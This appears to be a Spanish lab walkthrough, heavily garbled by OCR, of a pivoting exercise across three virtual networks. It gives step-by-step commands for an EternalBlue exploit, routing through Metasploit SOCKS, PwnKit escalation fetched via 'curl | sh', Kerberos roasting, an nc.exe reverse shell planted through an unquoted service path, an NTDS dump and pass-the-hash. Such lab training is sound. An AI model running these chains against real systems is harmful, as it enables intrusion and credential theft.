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Laboratorio Pivoting

Red: Adaptador Win7
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Q N
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1. CONFIGURACION INICIAL.
Configuramos 3 redes virtuales desde Virtualbox o VMware Workstation:
Accedemos al LAN Manager:

¥ Oracle VM VirtualBox Administrador

Archiva Maguina FRed Ayuda

é" Preferencias. .. Ctrl+G — @ @
=

@ Importar servicio virtualizado. .. Cirl+1 Crear  Eliminar
@ Exportar servicio virtualizada. .. Ctrl+E [ Host-only Metworl
= Herramientas r Extension Pack Manager Ctrl+T
?_?_,I Administrador de medios virtuales crl+D [
(=) Comprobar actualizaciones... C
| Metwork Manager Ctrl+H
& Reiniciar todas las advertendias = €
Administrador de perfil doud Ctrl+P
© aqut Ctrl+Q VM Activity Overview

—u @ Apagada '—|

Configuramos las interfaces:
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Adaptador Servidor DHCP

v Habiditar servidor

Direccidn del servidor:  192.168.6

Mascara del servidor: 2

Limite inferior de direcciones:

Limite superior de direccones:  192.168.6

Adaptador Servidor DHCP

Vv Hebilitar servidor

Direccidn def servidor:

Mascara del servidor:

Limite inferior de direcciones:

Limite superior de direcciones:

Adaptador Servidor DHCP

v Habilitar servidor

Direccion del servidor:

Mascara del servidor: 2

Limite inferior de direcciones:

Limite superior de direcaones:

2. ASIGNACION DE INTERFACES

Kali Linux: Solomente tendremos 1 interfaz en modo “Adaptador Puente”
y seleccionamos la interfaz Ethernet o Wifi dependiendo como estemos
conectados desde nuestro equipo, esto serd para que fengamos internet
en nuestro Kali sin que sean redes internas restringidas.

‘G} Pentest kali - Configuracion

Sistema

E‘ Pantalla
Almacenamiento
(D] Audio

@ Red

@ Puertos serie
& UsB

D Carpetas compartidas

EI Interfaz de usuario

féylum

E General Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Enable Network Adapter
Conectado a: | Adaptador puente ~
Mombre: Realtek Gaming 2.5GbE Family Controller

[ Advanced

O X

Ayuda




Windows 7:
Esta maqguina debe tener 2 interfaces de red:

e La primera debe estar en *Adaptador puente” para que tenga
comunicacion con nuestra Kali.

e La segunda debe estar en “Adaptador
seleccionaremos el “Ethernet Adapter #2"

Solo-Anfitrion” y

@ Almacenamiento
(‘I)J Audio

E General Red
Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
|§| Pantalla B Enable Network Adapter

Conectado a: | Adaptador puente ~

Mombre: Realtek Gaming 2. 5GbE Family Controller
b advanced

@ Red
@ Puertos serie
& UsB

D Carpetas compartidas

lfl Interfaz de usuario

Aceptar Cancelar Ayuda
E General Red
Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
@ Pantalla @ Enzble Network Adapter
. Conectado a:  Adaptador sdlo-anfitrion e
Almacenarmiento
Mombre: VirtualBox Host-Only Ethernet Adapter #2 ~

(D] Audio
@ Red
@ Puertos serie
& uss

lj Carpetas compartidas

EI Interfaz de usuario

[ Advanced

Cancelar Ayuda

Ubuntu:
Esta mdaquina debe tener 2 interfaces de red:

e La primera debe estar en “Adaptador
seleccionaremos el “Ethernet Adapter #2"
comunicaciéon con la Windows 7

Solo-Anfitrion” y
para que tenga
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e La segunda debe estar en "Adaptador Solo-Anfitriéon’
seleccionaremos el “Ethernet Adapter #3"

@ Ubuntu - Configuracién = [m]
E General Red
Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
|§| Pantzlla 8 Enable Network Adapter
Conectado a:  Adaptador sdlo-anfitridn o
Almacenamiento
Nombre:  VirtualBox Host-Only Ethernet Adapter #2 ~
(‘D:l Audio
b Advanced

@ Red
@ Puertos serie
fj) UsE

D Carpetas compartidas

EI Interfaz de usuario

Cancelar Ayuda

@ Ubuntu - Configuracién = a
E General Red
Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
IE Pantalla B Enable Network Adapter
. Conectado a:  Adaptador sélo-anfitrién e
Almacenamiento
Mombre:  VirtualBox Host-Only Ethernet Adapter #3 ~
(D:l Audio
b Advanced

@ Red
@ Puertos serie
& LSE

l___| Carpetas compartidas

EI Interfaz de usuario

Cancelar Ayuda

Active Directory:

Esta maquina debe tener 1 interfaz de red:

e Debe estar en "Adaptador Solo-Anfitrion” y seleccionaremos el
“Ethernet Adapter #3" para que tenga comunicacion con la
Ubuntu
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E General Red

Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
|§| Pantalla @ Enable Network Adapter
X Conectado a:  Adaptador sélo-anfitridn ~
Almacenamiento
Mombre:  VirtualBox Host-Only Ethernet Adapter #3 ~
(D:' Audio
b Advanced

ﬂ‘ Red
@ Puertos serie
£§> UsB

lj Carpetas compartidas

EI Interfaz de usuario

Aceptar Cancelar Ayuda

3. ACCESO A MAQUINA WINDOWS 7

Es una maqguina Windows 7 con una vulnerabilidad muy facil de explotar,
un simple Eternalblue. Podemos identificarlo haciendo un escaneo con
nmap, el escdner de Autoblue o el mdédulo de metasploit.

En este caso, no nos complicamos y o explotamos con metasploit:

Iniciamos metasploit con *msfconsole” y buscamos el exploit ms17_010,
configuramos el RHOST y el TARGET.

Disclosure Date Rank Check Description

exploit/windows/smb/ms17_010_StErialblue 2017-03-14 average Ms17-010 EEEFNALBLEE SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 SMB DOUBLEPULSAR Remote Code Execution

Obtenemos una Shell de meterpreter como NT AUTHORITY/SYSTEM, la

enviamos a “background” oprimiendo la combinaciéon de teclas “Control
+ Z”,

Information Connection

NT AUTHORIT EM @ W7-PIVOTING 2.168.1.144 .168.1.145:49158 (192.168.1.145)

Dentro de la sesion de la maquina Windows 7 ejecutamos “ipconfig” y
nos damos cuenta de que tiene 2 interfaces de red, asi que en el siguiente
pPasoO agregaremos una ruta en metasploit para que podamos tener
comunicacidén con esa red, desde nuestra maquina Kali.
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4. CONFIGURACION PROXY SOCKS

Agregamos la ruta usando el moédulo “autoroute” de metasploit y
asociamos la sesion de meterpreter que tenemos de la mdaquina Windows
7. Ofra opcidon para agregar la ruta, es usar el comando “route add” o si
Nno queremos usar metasploit podemos usar las herramientas Chisel y
Socat, en este caso seguiremos con metasploit.

Una vez agreguemos la ruta, ejecutamos el comando “route” y se deben
visualizar las siguientes rutas asociadas a la “sesion 1"

msfé post( ) > route

IPv4 Active Routing Table

Netmask Gateway

There are currently no IPvée routes defined.
msf6 post( I

Configuramos el servidor “Socks Proxy”

IMPORTANTE: En el archivo de configuracion de proxychains
/etc/proxychains4.conf, debe estar la misma version de socks que
usaremos para levantar el servidor desde metasploit:

En este caso la version es Socks4, pero en metasploit estd como 4q,
asignamos el puerto del servidor socks y lo ejecutamos.

Basic options: [ProxyList]

—~ z z z z O 5

Name Current Setting Required Description Ll
The local host or network interf:
The port to 1 1 on i
The sion to use (Acceptdl socks4 127.8.0.1 1088

fe auxiliary(

Name Payload Payload opts

Auxiliary: server/socks_proxy

5. DESCUBRIR LA RED #2.

Usamos el modulo “ping_sweep” de metasploit con el rango de IPs de la
red #2 192.168.141.0/24 y la sesion 1.
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Description

IP R: e to perform ping sweep against.
The session to rum this module on

msf6 post( ) > run

Performing ping sweep for IP range 192.168.141.8/24
L st found
host found
7 host found

En este caso la maquina Ubuntu tiene la IP 192.168.141.7

6. ACCESO A MAQUINA UBUNTU

Sabiendo la IP de la mdqguina, haremos un escaneo de puertos usando el
modulo de metasploit “portscan/tcp”, asignamos el rango de puertos
que queremos analizar y lo ejecutamos.

) > set RHOSTS 192.168.141.7

) > run

- TCP OPEN

- TCP OPEN

@ - TCP OPEN
7:111 - TCP OPEN

Identificamos que el puerto 21 ftp estd abierto.

Nos conectamos usando el usuario “anonymous” ya que se tiene
habilitado el acceso andnimo.

Debemos tener en cuenta que desde nuestro Kali no tenemos
comunicaciéon con la Ubuntu ya que estd en ofro segmento de red, por
lo cual, debemos usar el servidor Socks_proxy que levantamos antes. Para
esto nos conectaremos por FTP a la magquina Ubuntu usando proxychains.
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/home/kali
« ftp 192.168.141.7

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.141.7:21
Connected to 192.168.141.7.
220 (vsFTPd 3.0.2)
Name (192.168.141.7:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||15147]).
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.141.7:15147
150 Here comes the directory listing.
-TW-T—Tr— 0 0 140 \ 2022 data
drwxr-xr-x 15:10 github
-TW-r—r— 15:12 history
-TW-Ir—r— 2022 info
-TW-T—T— msfconsole
drwxr-xr-x 50 v sshd-poison
226 Directory send OK.
ftp> get history
local: history remote: history
229 Entering Extended Passive Mode (|||52511]).

0
0
0
0

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.141.7:52511 ... OK

150 Opening BINARY mode data connection for history (225 bytes).

1003@ ‘ R s s s s S s e s e S e S e e S S S R S S R S S S S SRS S S S SR S SR S
226 Transfer complete.

225 bytes received in 00:00 (0.67 KiB/s)

ftp> i

Encontramos una lista de archivos, entre ellos un archivo llamado “history”
gue muestra un move de un archivo id_rsa al directorio raiz del servicio
apache /var/www/html, y dentro, un directorio “/recuperacion” y un
archivo “config.txt”

/home/kali
history
ifconfig
1s
cd vsftpd.conf
nan ftpd.conf
mkdir ftp
cd ftp
1s
pwd
1s -la /var/f
mledir data
mv id_rsa /u i/html/recuperacion/config. txt

También hemos identificado que el puerto 80 de la maquina estd abierto.

Abriremos el navegador Firefox usando proxychains y la IP de la maquina
Ubuntu.

~

Podemos intentar hacer fuzzing con dirbuster, wfuzz, gobuster o alguna
otra herramienta, pero la ruta que nos interesa no la enconfraremos si
usamos diccionarios como Rockyou, por lo cual, podemos usar
diccionarios como Kaonashi, o diccionarios en castellano.

Cylum
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Recordemos que en el fichero history identificamos una ruta llamada
/recuperacion/config.ixt

Por lo cual, accederemos directamente a esa ruta.
O & 192.168.141.7
Kali Linux §#8 KaliTools # KaliDocs ] Kali Forums X Kali NetHunter Exp
Server configuration

SSH
FTP

u ifp
] yrd: iFPR3cuh4x@rNuml

Identificamos un usuario y una contrasena

El puerto 22 SSH de la mdaquina Ubuntu estd habilitado, asi que nos
conectamos desde metasploit con el mddulo “ssh_login”, también
podemos conectarnos por proxychains desde nuestra Kali, pero lo
haremos desde metasploit para tener otfra sesion desde la que podamos
agregar una ruta nueva para la red #3.

Buscamos “ssh_login” configuramos los datos de autenticacion, RHOST,
USER y PASSWORD.

RU% e ed
msf6 auxiliary( ) >

Active sessions

Information Connection

meterpreter x64/windows NT AUTHORITY\SYSTEM @ W7-PIVOTING 192.168.1.144:4444 — 192.168.1.145:49158 (192.168.1.145)
shell linux SSH root @ 192.168.1.144-192.168.1.145:51029 — 192.168.141.7:22 (192.168.141.7)

xiliary( ) > sessions -i 2
rting interaction with 2 ...

Could not chdir to home directory /home/ifp: No such file or directory
id
uid=1001(ifp) gid=1001(ifp) groups=1001(ifp)

Somos el usuario “ifp”, asi que iniciamos la escalada de privilegios

7. ESCALADA DE PRIVILEGIOS UBUNTU

Buscamos binarios con permisos SUID en la maquina:

find / -type f -user root -perm -4000 2>/dev/null

Cylum
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En este caso nos aprovecharemos del binario /usr/bin/pkexec ya que
existe una vulnerabilidad llamada Pwnkit que permite elevar privilegios a
root.

Desde nuestra mdaquina Kali debemos descargar el exploit usando el
siguiente comando:

sh -C "$(curl -fsSL
https://raw.qgithubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Recordemos que la mdaquina Ubuntu no tienen internet, asi que tenemos
que descargarlo desde nuestra Kali y transferir el script a la Ubuntu

githubusercontent.com/ «/PwnKit/main/PwnKit.sh)"
host: raw.githubusercontent.com

uid=1001(ifp) gid=10@01(ifp) groups=1001(ifp)

password

L https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit PwnKit

/home/kali
+X ./PunKit

Con proxychains lo subimos a la sesion de ssh con scp (ruta del archivo
en la kali) -> (ruta en la sesion ssh)

proxychains scp /home/kali/Pwnkit ifp@(IP Ubuntu):/tmp

Cylum
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https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh

/home/kali

n hosts.

Entramos en la sesion de ssh en meterpreter vamos al directorio /tmp y
verificamos que esta subido el script PwnKit. Ejecutamos el exploit y ya
SOMOS root.

action with 2 ...

Jun
6 Mar
6 Jun 6 H - —unix
Jun
root ot 11 Jun
2 root root 4096 Jun

: can't cd to PwnKit

uid=8(root) gid=e(root) groups= oot),1001(ifp)

8. DESCUBRIR LA RED #3
Verificamos las IPs de la mdqguina Ubuntu, identificamos la red #3.

<LOOPBACK,UP, LOWER_UP> mtu 6553¢ isc nogueue st
f pba G '

! scope host lo
f d_1lft fo

Ya conocemos la siguiente red “192.168.223.0/24"

Anadimos la ruta de la red #3:
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route add 192.168.223.0/24 4

Verificamos las rutas con las sesiones correspondientes con el comando
route

msf6 auxiliary( ) > route

Usamos el mdédulo “ping_sweep” para descubrir la IP correspondiente a
la maquina AD.

msf6 st )} > run

.7 host found
.11 host found

Identificamos que la IP es *192.168.223.11"

Ejecutamos un “portscan/tcp”

TCP OPEN
- TCP OPEN
- TCP OPEN
CP OPEN
TCP OPEN
- TCP OPEN

Descubrimos el puerto 88 Kerberos y el 53 DNS, posiblemente un DC:

Lo primero serd descubrir el dominio.

9. ACCESO A MAQUINA AD

Identificamos el dominio

proxychains crackmapexec smb 192.168.223.11

/home/kali

rd Evaluation 14393 x64 (name:WIN-442P9GU13EM) (domain:examen.local) (signing:True) (SMBv1:True)

Agregamos el nombre de dominio al fichero hosts (DNS).

nano /etc/hosts

Cylum
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11§ examen.local

ifp al
localhost
kali
alhost ip6-localhost ip6-loopback

i)

firefox 192.168 ] 181
chains] config file found : TOXYC
hains] preloading fusr/lib/: -lin
hains] DLL init: pr hain

Q

KaliLinux §8 KaliTools « KaliDocs X/ Kali Forums X Kali Net

Jestudio
Jifp
/examen

Tal vez mas??

Dentro de /ifp nos encontramos una lista de usuarios la cual guardaremos
para probarlos con kerbrute.

O A 192168.223.1

KaliLinux #8 KaliTools = KaliDocs #{ Kali Forums & Kali Net

¢Que hace el protocolo SMB? ;Recursos compartidos? ;Ci

daniel
luis
ignacio
lloel
putin
sergio
julian
joan

Probaremos si estos usuarios son vdlidos en el dominio, usamos la
herramienta “kerbrute”.

pip3 install kerbrute

Cylum
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/home/kali

Guardamos la lista de usuarios en un fichero usuarios.txt

proxychains kerbrute -domain examen.local -users usuarios.txt

/home /kali

DLL init
.0 - Copy

)
0
0}
5)
080
0}
)
)

Vemos que el usuario “julian” es un usuario valido del dominio, pero
ningun usuario tiene la Flag “dont_req_preauth”, es decir, un usuario al
que le podamos solicitar un TGT y asi crackear su contrasena.

Seguimos buscando. Usaremos dirbuster para hacer fuzzing y encontrar

rutas, subdominios y archivos de la web.

proxychains dirbuster

/home/kali
dirbuster
found:

DLL init: p
DLL init: p

File Options About Help

Target URL (eg http://example.com:80/)

http://examen.local:81/

Work Method ) Use GET requests only (3) Auto Switch (HEAD and GET)

Number Of Threads =()—————— 10Threads []Go Faster

Select scanning type: () List based brute force () Pure Brute Force
File with list of dirsffiles

Jlusrfsharefdirbuster/wordlists/directory-ist-lowercase-2. 3-medium. txt

| [ €4 Browse || @ List Info |

Select starting options:  (2) Standard start point () URL Fuzz

Brute Force Dirs Be Recursive Dir to start with [/

Brute Force Files []Use Blank Extension File extension ‘_M

[ @lea | [ I start

DirBuster Stepped

Iglobalf0g..txt

Cylum
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File Options About Help

http:/fexamen.local:81/
@ Scan Information ' Results - List View: Dirs: 6 Files: 0 Results - Tree View | /\ Errors: 0

Type | Found | Response | Size
Dir /! 200 317
Dir /blog/ 403 1398
Dir Jarticles/ 403 1388
Dir Jprofilef 403 1388
Dir [services/ 403 1398
Dir Jemail/ 403 1398
Dir Jglobalf 403 1398

Encontramos un directorio “/profile”, lo analizaremos de nuevo:

File Options About Help

Target URL (eg http://example.com:80/)

‘http:f,'sxamen.local:sl,’pmfilsA

Work Method () Use GET requests only (3) Auto Switch (HEAD and GET)

Number Of Threads =ffl————— 10Threads []Go Faster

Select scanning type: (3) List based brute force (0 Pure Brute Force
File with list of dirsffiles

Jusrfsharefdirbusterjwordlists/directory-list-lowercase-2.3-medium.txt :&, Browse ‘ | @ List Info

¢ p=mzooman o e [ e [

Select starting options: (%) standard start point () URL Fuz
Brute Force Dirs Be Recursive Dir to start with |,'
Brute Force Files [ ] Use Blank Extension File extension |‘txt

Encontramos un fichero users.txt

@ Scan Information " Results - List View: Dirs: 6 Files: 1 | Results - Tree View |, /\ Errors: 0,

Type | Found = | Response | Size
Dir / 200 317
Dir Jarticles/ 403 1398
Dir /blogf 403 1398
Dir femailf 403 1398
Dir /globals 403 1398
Dir fprofilef 403 1398
Dir /servicesf 403 1398

(@ O

KaliLinux #& KaliTools = KaliDocs M Kali Forums & Kali NetHunter Exple

ifp_asrep
guille
julian

Haremos de nuevo un andlisis con kerbrute

proxychains kerbrute -domain examen.local -users usuarios.txt
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uth Corporation

2. .. EXAMEN.

ldentificamos que el usuario “ifp_asrep” tiene la Flag “dont_req_preauth”

10. KERBEROS TGT y TGS

Solicitaremos un TGT del usuario ifp_asrep:

proxychains python3 /usr/share/doc/python3-
impacket/examples/GetNPUsers.py examen.local/ifp_asrep -dc-ip
examen.local -no-pass

Capturamos el ticket y lo guardamos en un fichero de texto tgt.ixt

Crakeamos el “tgt” con john o con hashcat, usando como diccionario
rockyou.txt

hashcat -m 18200 tgt.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share /wordlists/rockyou.txt tgt.txt
/home/kali

—wordlist=/usr/share/wordlists/rockyou.txt tgt.txt

[MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-5

Passwordl examen.local

ins] DLL
chains r
chains]

andard Evaluation 14
OK

Cylum
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Vemos que la contrasena es vdlida pero no tiene privilegios para
conectarnos por psexec.

Probamos a conectarnos con crackmapexec por winrm:

/home/kali
c1 winrm 1 .11 ifp_asrep Passwordl examen.local
1ains4.conf
u/libproxychains.so.

hains] DLL
ins]

Vemos que no tenemos privilegios.

Intentamos generar un GTS usando las credenciales de usuario que ya
hemos obtenido:

En el dominio se fiene un SPN creado con un usuario de servicio
“SVC_SQL". Por lo que podemos en este caso solicitar un TGS de este
usuario.

5

EErwiéePrincipalName VET]

examen.local/SCV_SQL.DC-Company SVC_SQL

proxychains python3 /usr/share/doc/python3-
impacket/examples/GetUserSPNs.py examen.local/ifp_asrep:Password] -
request

‘examples/GetUserSPNs .py examen.local/ifp_asrep:Passwordl

De nuevo crackeamos el hash con john:

john --wordlist=/usr/share /wordlists/rockyou.txt tgs.fxt

/home/kali
list t tgs.txt

on completed.
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Probamos a conectarnos de nuevo por crackmapexec por winrm y smb
con el nuevo usuario y contrasena.

proxychains crackmapexec winrm -dc-ip 192.168.223.11 -u SVC_SQL -p
Password! examen.local

/home/kali

1 .11 SVC_SaL Password! examen.local
rchains4.conf
libproxychains.so.4

/home/kali
/etc/proxychainss.conf

/home/kali

Warning: Remote path completions is disa

[proxychains]
P

11. ELEVACION DE PRIVILEGIOS AD Y VOLCADO DE NTDS

Enumeramos la mdquina con WInPEAS y con ADPeas, listamos los
servicios.

ldentificamos que existe un servicio vulnerable a Unquoted Service Path,
ya que el bin_path tiene espacios sin comillas

cd "C:\Vuln Service\vuln"

Dentro de esta carpeta hay un binario de netcat, nc.exe. Por lo cual
intentaremos modificar el bin path, bajar el servicio y volverlo a levantar
para que nos ejecute una reverse_shell hacia la mdaquina Ubuntu.
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Recordemos que este servicio estd ejecutdndose con privilegios del
sistema.

sc.exe config SERVICIO_VULNERABLE binPath= 'C:\Vuln
Service\vuln\nc.exe -e cmd.exe (IP) (Puerto a poner en escucha)'

Service\vuln\nc.exe -e cmd.exe 192.168.223.7 54'

En este punto dentro del directorio “servicio vulnerable” hemos creado
una revershell apuntando a la maquina Ubuntu para escuchar a través
del puerto “54".

Esimportante desde otra terminal conectarnos desde fuera de metasploit
y a fravés de ssh a la maquina Ubuntu que es desde donde nos
pondremos a la escucha para recibir la revershell.

Accedemos por ssh a la mdaqguina Ubuntu y nos ponemos a la escucha:

s root@osboxes:/tmp# nc -nlvp 54

rootgoshoxes: /tmp# nc -nlvp 54

Listening on [© @] (family @, port 54)
Iniciaomos el servicio desde la sesidon del AD:

sc.exe start SERVICIO_VULNERABLE

En este punto estamos a la escucha en la sesion de ssh, hemos ejecutado
el servicio al que hemos anadido anteriormente la reverse Shell lo que
hace que en la sesidon de ssh a la escucha se nos abra,

En la sesidon de la reverse Shell anadimos el usuario "SVC_SQL" al grupo
“Administradores”

net localgroup Administradores SVC_SQL /add

up Admin
Se ha completado el comando

C:\Windows\system32>[]
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Usando crackmapexec hacemos un volcado del ntds del AD con el
usuario SVC_SQL el cual ahora pertenece al grupo Administradores.

proxychains crackmapexec smb (IP)-d examen.local -u SVC_SQL -p
Password! --ntds

/home/kali
/etc/hosts

/home/kali

onfig fi
ns] preloadi
ns] DLL ini

rict

(name : WIN-

grab a redbu

8bb&15|
b415k

bb415b!
bb415b!

8bb415b5
WIN-44&

M [+] Dumped 1 e 4 N-442P9GU13EM_1592

12. CONEXION COMO ADMINISTRADOR

Nos conectamos como administrador usando el hash NTLM que hemos
identificado en el volcado del NTDS, podemos hacerlo con psexec,
wmiexec o con evil-winrm

proxychains evil-winrm - 192.168.223.11 -u Administrador -H
cfae279a292213ad99683..........

bled due to ruby limitation: on_proc() function is unimplemented on this

chain ... 2 .1:108
rs\Admini C uments> [l
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